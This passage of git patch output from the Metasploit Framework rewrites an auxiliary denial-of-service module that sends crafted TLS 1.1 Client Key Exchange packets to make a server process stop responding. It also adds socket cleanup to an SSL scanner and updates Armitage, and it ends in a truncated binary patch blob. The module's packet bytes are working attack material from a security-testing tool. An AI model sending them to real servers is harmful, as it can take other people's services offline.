"\xac\xd5\x84\x2c\xaf\x2a\x57\x46\x71\xca\x73\x14\x03\x02\x00\x01"<< - "\x01\x16\x03\x02\x00\x40\xff\x62\x0f\x7a\xb2\x79\xfe\x78\xce\xb9"<< - "\xde\xc4\xef\x66\x2f\xed\x1a\x37\xfe\x47\xdd\xde\x9c\xe0\x42\xbc"<< - "\x93\x20\x65\x05\xd3\x50\x14\x1c\x6c\xb1\x7a\x3a\x7d\x91\x92\xbb"<< - "\x9d\x42\x78\xbf\xe4\x08\xa0\xfd\x9c\xeb\x24\x29\x3b\xed\xc8\x54"<< - "\x3d\xd3\xa2\xff\xb0\x8b" + p2_dhe = "\x16" # Content Type: Handshake + p2_dhe << "\x03\x02" # Version: TLS 1.1 + p2_dhe << "\x00\x46" # Length: 70 + p2_dhe << "\x10" # Handshake Type: Client Key Exchange + p2_dhe << "\x00\x00\x42" # Length: 66 + p2_dhe << "\x00\x40" # DH Pubkey Length: 64 + p2_dhe << ("A" * 64) # DH Pubkey + p2_dhe << p2_cssm # Change Cipher Spec Message + p2_dhe << p2_ehm # Encrypted Handshake Message + # ECDHE-RSA-AES128-SHA - p2_ecdhe_rsa_aes128_sha = - "\x16\x03\x02\x00\x46\x10\x00\x00\x42\x41\x04\x2f\x22\xf4\x06\x3f"<< - "\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8\x03\xe5\xaa\x36\xeb\x0f"<< - "\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69\x5b\x38\x95\x58\xb6\x0d"<< - "\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6\xb2\xe6\x8b\x2a\xd9\x03"<< - "\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73\x40\x14\x03\x02\x00\x01"<< - "\x01\x16\x03\x02\x00\x40\x8c\xc6\x4d\xdc\x42\x03\x64\xa3\xc0\xf4"<< - "\x94\xda\xa4\x12\x68\x78\xfd\x5b\x44\xaf\xa3\x91\x63\x75\x26\x93"<< - "\x14\xad\x86\xa7\x4f\x5a\x2e\xcb\x13\x17\xb7\xdf\x67\x64\x1b\x10"<< - "\xc3\x9f\x68\xaf\x92\x38\xbf\x67\xc6\x18\x5b\x78\xc9\x99\xc3\x70"<< - "\x89\x09\xe2\x3f\x3e\x1f" + p2_ecdhe = "\x16" # Content Type: Handshake + p2_ecdhe << "\x03\x02" # Version: TLS 1.1 + p2_ecdhe << "\x00\x46" # Length: 70 + p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange + p2_ecdhe << "\x00\x00\x42" # Length: 66 + p2_ecdhe << "\x41" # EC DH Pubkey Length: 65 + # EC DH Pubkey: + p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8" + p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69" + p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6" + p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73" + p2_ecdhe << "\x40" + p2_ecdhe << p2_cssm # Change Cipher Spec Message + p2_ecdhe << p2_ehm # Encrypted Handshake Message + maxtries = datastore['MAX_TRIES'] @@ -112,9 +143,9 @@ class Metasploit4 < Msf::Auxiliary cs = get_cipher_suite(resp) if cs == 0xc013 # ECDHE-RSA-AES128-SHA - p2 = p2_ecdhe_rsa_aes128_sha + p2 = p2_ecdhe elsif cs == 0x0039 # DHE-RSA-AES256-SHA - p2 = p2_dhe_rsa_aes256_sha + p2 = p2_dhe elsif cs == 0x0035 # AES256-SHA p2 = p2_aes_sha else @@ -126,17 +157,16 @@ class Metasploit4 < Msf::Auxiliary alert = nil - timeout(2) do - alert = sock.recv(4096) - end - - disconnect - - if alert == '' + begin + alert = sock.get_once(-1, 2) + rescue EOFError print_status("DoS successful. process on #{rhost} did not respond.") success = true break end + + disconnect + end if success == false @@ -157,7 +187,7 @@ class Metasploit4 < Msf::Auxiliary len = (resp[offset+3, 2]).unpack("n")[0] hstype = (resp[offset+5, 1]).unpack("C")[0] - if hstype == 2 + if hstype == 2 # Server Hello return (resp[offset+44, 2]).unpack("n")[0] end From 12201c519a72f2e222d942330a85da29526a0b39 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 16:34:29 -0600 Subject: [PATCH 279/341] make sure we close sockets --- lib/rex/sslscan/scanner.rb | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 4d0b9f7bcb..18dacd7334 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -76,6 +76,10 @@ class Scanner ) rescue ::Exception => e return :rejected + ensure + if scan_client + scan_client.close + end end return :accepted end @@ -92,6 +96,10 @@ class Scanner ) rescue ::Exception => e return :rejected + ensure + if scan_client + scan_client.close + end end return :accepted end @@ -114,7 +122,12 @@ class Scanner ) rescue ::Exception => e return :rejected + ensure + if scan_client + scan_client.close + end end + return :accepted end @@ -142,6 +155,10 @@ class Scanner end rescue ::Exception => e return nil + ensure + if scan_client + scan_client.close + end end end From 59d2f05c94dbc92d55cc780d5264e42ef831a5fe Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Mon, 4 Mar 2013 18:32:45 -0500 Subject: [PATCH 280/341] Armitage 04.06.13 This update to Armitage improves its responsiveness when connected to a team server over a high latency network. This update also adds a publish/query/subscribe API to Cortana. --- data/armitage/armitage.jar | Bin 3213215 -> 3220970 bytes data/armitage/cortana.jar | Bin 3213210 -> 3220965 bytes data/armitage/whatsnew.txt | 24 +++++ external/source/armitage/resources/about.html | 2 +- .../armitage/scripts-cortana/internal-ui.sl | 25 ++++-- .../armitage/scripts-cortana/internal.sl | 35 +++++++- external/source/armitage/scripts/armitage.sl | 16 +++- .../source/armitage/scripts/preferences.sl | 14 ++- external/source/armitage/scripts/shell.sl | 2 +- external/source/armitage/scripts/util.sl | 4 +- .../armitage/src/armitage/ConsoleClient.java | 25 +++--- .../armitage/src/cortana/data/Sessions.java | 12 +-- .../armitage/src/cortana/gui/UIBridge.java | 15 ++-- .../src/cortana/metasploit/ShellSession.java | 4 +- .../armitage/src/msf/MeterpreterSession.java | 2 +- .../armitage/src/msf/RpcConnectionImpl.java | 34 +++++++ external/source/armitage/src/ui/ATable.java | 83 +++++++++++++++++- .../source/armitage/src/ui/MultiFrame.java | 9 ++ external/source/armitage/whatsnew.txt | 24 +++++ 19 files changed, 288 insertions(+), 42 deletions(-) diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index 81c949a109ac3c80b8d548f63b2d1a95ddbb839e..b4ee0c001f7c23728810224e7bb7658d74357b72 100755 GIT binary patch delta 89157 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 